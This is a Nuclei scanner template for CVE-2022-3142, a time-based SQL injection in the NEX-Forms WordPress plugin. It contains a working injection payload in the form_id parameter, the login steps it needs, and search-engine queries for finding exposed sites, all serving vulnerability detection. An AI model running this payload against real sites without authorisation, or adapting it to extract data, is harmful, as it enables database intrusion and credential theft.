id: CVE-2022-3142

info:
  name: NEX-Forms Plugin < 7.9.7 - SQL Injection
  author: r3Y3r53
  severity: high
  description: |
    The NEX-Forms WordPress plugin before 7.9.7 does not properly sanitise and escape user input before using it in SQL statements, leading to SQL injections. The attack can be executed by anyone who is permitted to view the forms statistics chart, by default administrators, however can be configured otherwise via the plugin settings.
  impact: |
    Authenticated attackers with form statistics viewing permissions can execute SQL injection through the form_id parameter to extract the complete WordPress database including user credentials, email addresses, and sensitive site data.
  remediation: Fixed in version 7.9.7
  reference:
    - https://wpscan.com/vulnerability/8acc0fc6-efe6-4662-b9ac-6342a7823328/
    - https://www.exploit-db.com/exploits/51042
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3142
    - http://packetstormsecurity.com/files/171477/WordPress-NEX-Forms-SQL-Injection.html
    - https://medium.com/%40elias.hohl/authenticated-sql-injection-vulnerability-in-nex-forms-wordpress-plugin-35b8558dd0f5
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-3142
    cwe-id: CWE-89
    epss-score: 0.08041
    epss-percentile: 0.92219
    cpe: cpe:2.3:a:basixonline:nex-forms:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: basixonline
    product: nex-forms
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/nex-forms-express-wp-form-builder/
    fofa-query: body=/wp-content/plugins/nex-forms-express-wp-form-builder/
    publicwww-query: /wp-content/plugins/nex-forms-express-wp-form-builder/
  tags: time-based-sqli,cve,cve2022,wpscan,packetstorm,wordpress,sqli,wp-plugin,wp,authenticated,basixonline,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        @timeout: 30s
        GET /wp-admin/admin.php?page=nex-forms-dashboard&form_id=1+AND+(SELECT+42+FROM+(SELECT(SLEEP(7)))b)-- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code_2 == 200'
          - 'contains(body_2, "NEX-Forms")'
          - 'contains(content_type_2, "text/html")'
        condition: and
# digest: 490a00463044022039a54453476c8a3f787613135e7bf5694c6ec77c16fb62df27453e4802e0b2c902207340fa28c32868810d5eb37fbc6d01833e66b6c4ea237d0b0c3ddee91d1e703a:922c64590222798bb761d5b6d8e72950